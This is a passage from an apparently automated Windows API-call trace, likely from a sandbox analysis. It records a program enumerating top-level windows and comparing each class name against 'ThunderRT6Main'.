(lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0109.576] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.576] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0109.576] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0109.576] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0109.577] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0109.577] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0109.577] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0109.577] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.577] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0109.577] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0109.577] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0109.577] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0109.577] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0109.577] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0109.577] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0109.577] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0109.577] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0109.577] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0109.577] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.577] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0109.577] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0109.577] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0109.577] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0109.577] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.577] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.577] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0109.577] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0109.578] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0109.578] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0109.578] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0109.578] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0109.578] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0109.578] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0109.578] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0109.578] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0109.578] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0109.578] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.578] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.578] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0109.578] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0109.578] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0109.578] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0109.578] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0109.578] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0109.578] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.578] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.578] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0109.578] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0109.578] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0109.578] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0109.578] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0109.579] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0109.579] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.579] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.579] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0109.579] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0109.579] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0109.579] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0109.579] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0109.579] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0109.579] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.579] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.579] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0109.579] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0109.579] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0109.579] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0109.579] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0109.579] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0109.579] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0109.579] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0109.579] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0109.580] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0109.580] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0109.580] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0109.580] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0109.580] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0109.580] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0109.580] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0109.580] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0109.580] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0109.580] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0109.580] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0109.580] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0109.580] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0109.580] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0109.580] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0109.580] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0109.580] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0109.580] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0109.580] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0109.580] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0109.580] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0109.580] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.580] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.580] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0109.581] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0109.581] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0109.581] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0109.581] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0109.581] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0109.581] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0109.581] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0109.581] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0109.581] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0109.581] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0109.581] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0109.581] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0109.581] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0109.581] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0109.581] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0109.581] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0109.581] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0109.581] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0109.581] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0109.581] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.581] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0109.581] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0109.581] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0109.581] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0109.581] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0109.582] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0109.582] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0109.582] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0109.582] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0109.582] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0109.582] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0109.582] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0109.582] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0109.582] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0109.582] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0109.582] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0109.582] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0109.582] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0109.582] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0109.582] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0109.582] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0109.582] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0109.582] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0109.582] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0109.582] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0109.582] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0109.582] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.582] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.582] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0109.582] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0109.583] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0109.583] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0109.583] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0109.583] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0109.583] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.583] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.583] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0109.583] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0109.583] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0109.583] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0109.585] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0109.585] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0109.585] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0109.586] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0109.586] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0109.586] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0109.586] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0109.586] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0109.586] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0109.586] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0109.586] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0109.586] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0109.586] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0109.586] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0109.586] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0109.586] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0109.586] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0109.586] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.586] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0109.586] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0109.586] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0109.586] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.586] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0109.586] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0109.586] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0109.586] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.586] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0109.586] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0109.587] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0109.587] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0109.587] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0109.587] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.587] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0109.587] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0109.587] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0109.587] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0109.587] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.587] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0109.587] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0109.587] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0109.587] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.587] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0109.587] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.587] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.587] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0109.587] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0109.587] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.587] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0109.587] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.587] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.587] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0109.587] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.587] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.587] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.587] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0109.587] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.588] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.588] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: 